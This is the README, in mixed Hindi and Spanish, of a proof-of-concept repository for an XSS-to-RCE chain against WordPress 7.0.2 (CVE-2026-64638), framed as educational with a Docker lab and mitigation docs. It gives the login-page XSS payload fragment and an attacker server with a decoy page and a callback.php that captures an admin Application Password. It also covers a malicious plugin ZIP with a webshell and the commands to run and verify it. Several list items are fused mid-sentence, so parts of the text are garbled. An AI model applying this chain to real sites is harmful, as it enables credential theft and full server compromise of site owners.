
CVE-2026-64638 (XSS2Shell) का कार्यशील PoC: WordPress Core में pre-auth XSS से RCE तक की श्रृंखला। Docker लैब + Python आक्रमणकारी सर्वर + तकनीकी विश्लेषण और शमन।
XSS2Shell (CVE-2026-64638) श्रृंखला का शैक्षिक Proof of Concept, WordPress Core में pre-authentication XSS → RCE भेद्यता, जिसे pwn.ai द्वारा स्वतंत्र रूप से खोजा गया और 7 अगस्त 2026 को प्रकाशित किया गया।
CVE-2026-64638 WordPress की लॉगिन स्क्रीन (wp-login.php) में एक reflected,
pre-authentication cross-site scripting (XSS) प्रकार की भेद्यता है। यह
7.0.3 से पहले के सभी समर्थित WordPress संस्करणों को प्रभावित करती है,
जिसे 6 अगस्त 2026 को आपातकालीन security release के रूप में जारी किया गया था।
इसका CVSS v4.0 स्कोर 8.9 निर्धारित किया गया है।
XSS2Shell नामित यह श्रृंखला दर्शाती है कि केवल एक हेरफेर किए गए username के साथ असफल login प्रयास से, एक हमलावर कैसे:
strip_tags) और WordPress (wp_kses_post) के दो सिंटैक्स विश्लेषकों के
बीच विसंगति का लाभ उठाकर login पृष्ठ पर लाइव DOM तत्व इंजेक्ट करना।user-profile.js) के निष्पादन प्रवाह को
हाइजैक करना और उसी ओरिजिन पर एक REST JSONP अनुरोध करना।jQuery.globalEval() के माध्यम से JSONP प्रतिक्रिया को WordPress ओरिजिन पर
JavaScript निष्पादन में परिवर्तित करना।परिणाम WordPress सर्वर पर रिमोट कोड निष्पादन (RCE) है, जो web प्रक्रिया
उपयोगकर्ता (आमतौर पर www-data) के अंतर्गत होता है, और यह हमलावर द्वारा नियंत्रित
लिंक पर व्यवस्थापक के एकल click से शुरू होता है।
इस रिपॉजिटरी में कड़ाई से शैक्षिक और रक्षात्मक सामग्री है।
PoC एक स्व-निहित Docker वातावरण के साथ प्रदान की जाती है जिसका एकमात्र उद्देश्य स्थानीय और पुनरुत्पादनीय लक्ष्य के रूप में कार्य करना है।
┌─────────────────────────────────────────────────────────────────────┐
│ 1. XSS pre-auth en wp-login.php │
│ log=< area id=ajaxurl href=/?rest_route=/&_jsonp=...> │
│ (discrepancia strip_tags ↔ wp_kses_post) │
└──────────────────────────────────────────┬──────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────────────┐
│ 2. user-profile.js dispara .trigger('click') │
│ DOM clobbering de ajaxurl → petición POST al origen │
└──────────────────────────────────────────┬──────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────────────┐
│ 3. REST JSONP responde application/javascript │
│ jQuery.globalEval() ejecuta el callback en el origen WP │
└──────────────────────────────────────────┬──────────────────────────┘
│ callback = window.opener
│ .approve.click
▼
┌─────────────────────────────────────────────────────────────────────┐
│ 4. SOME: click() cruza la frontera opener→admin │
│ authorize-application.php#approve se pulsa en sesión admin │
└──────────────────────────────────────────┬──────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────────────┐
│ 5. WP crea Application Password → redirige a success_url │
│ El atacante captura user_login + password en callback.php │
└──────────────────────────────────────────┬──────────────────────────┘
│ HTTP Basic REST
▼
┌─────────────────────────────────────────────────────────────────────┐
│ 6. POST /wp-json/wp/v2/pages → publica página con <script> │
│ El admin visita la página → JS en origen WP con sesión admin │
└──────────────────────────────────────────┬──────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────────────┐
│ 7. fetch update.php?action=upload-plugin → sube payload.zip │
│ PHP del plugin es accesible directamente sin activarlo │
└──────────────────────────────────────────┬──────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────────────┐
│ 8. RCE confirmada: GET /wp-content/plugins/payload/shell.php │
└─────────────────────────────────────────────────────────────────────┘
PoC macOS या Linux पर चलाने के लिए बनाई गई है, जिसमें:
zip एक्सटेंशन के साथ (मैन्युअल रूप से payload बनाने के लिए,
वैकल्पिक; पहले से बनाया गया ZIP payload/ में शामिल है)।WordPress को मैन्युअल रूप से स्थापित करना आवश्यक नहीं है: docker-compose.yml
MariaDB के साथ एक असुरक्षित WordPress 7.0.2 (पैच से पहले का अंतिम संस्करण)
तैयार करता है।
POC XSS2Shell (CVE-2026-64638)/
├── README.md ← Este archivo
├── docker-compose.yml ← Blanco: WordPress 7.0.2 + MariaDB
├── .env.example ← Variables de configuración
├── exploit.py ← Orquestador en Python (opcional)
├── attacker/ ← Infraestructura del atacante
│ ├── index.html ← Página cebo con la cadena SOME
│ ├── callback.php ← Receptor de la Application Password
│ └── server.py ← Servidor estático + PHP embebido
├── payload/ ← Plugin ZIP malicioso
│ ├── build_payload.py ← Generador del ZIP
│ ├── shell.php ← Webshell mínimo
│ └── payload.zip ← ZIP preconstruido (listo para usar)
└── docs/
├── ANALISIS.md ← Análisis técnico detallado
└── MITIGACION.md ← Guía de mitigación y hardening
cp .env.example .env
docker compose up -d
WordPress http://localhost:8080 पर उपलब्ध होगा। इंस्टॉलेशन विज़ार्ड का पालन
करें और एक व्यवस्थापक उपयोगकर्ता बनाएँ (उदाहरण के लिए admin /
admin-password)।
Dockerfile छवि को
wordpress:7.0.2-php8.2-apacheपर पिन करता है, जो पैच 7.0.3 से पहले का अंतिम संस्करण है।
# En otro terminal, dentro de attacker/
python3 server.py
हमलावर सर्वर http://localhost:9000 पर सुनता है और ये उपलब्ध कराता है:
/ → index.html (डिकॉय पृष्ठ)।/callback.php → Application Password का रिसीवर।जिस टर्मिनल में server.py चल रहा है, वहाँ इस प्रकार की एक पंक्ति दिखाई देगी:
[+] Application Password recibida para el usuario 'admin':
XXXX XXXX XXXX XXXX XXXX XXXX
क्रेडेंशियल attacker/captured_credentials.txt में भी सहेजा जाता है।
कुछ सेकंड बाद, index.html का ऑर्केस्ट्रेटर यह कर चुका होगा:
payload.zip को wp-content/plugins/payload/ पर अपलोड किया।इसके साथ कोड निष्पादन सत्यापित करें:
curl -sI http://localhost:8080/wp-content/plugins/payload/shell.php
एक Hacked: true हेडर और JSON बॉडी RCE की पुष्टि करते हैं।
श्रृंखला पूरी होने के बाद, निम्नलिखित endpoints साक्ष्य के रूप में कार्य करते हैं:
| संसाधन | अपेक्षित साक्ष्य |
|---|---|
GET /wp-content/plugins/payload/shell.php | हेडर Hacked: true + JSON {"rce":true,"user":"www-data"} |
docs/ANALISIS.md — श्रृंखला के प्रत्येक चरण का विस्तृत
तकनीकी विश्लेषण, WordPress स्रोत कोड के संदर्भों के साथ।docs/MITIGACION.md — अनुशंसित शमन उपाय, hardening और
patch 7.0.3 का सत्यापन।MIT लाइसेंस के अंतर्गत वितरित। अधिक विवरण के लिए LICENSE फ़ाइल देखें।
attacker/captured_credentials.txt| कैप्चर की गई Application Password |
wp-admin → एप्लिकेशन → एप्लिकेशन पासवर्ड | «SomeApp» नामक एक नई प्रविष्टि |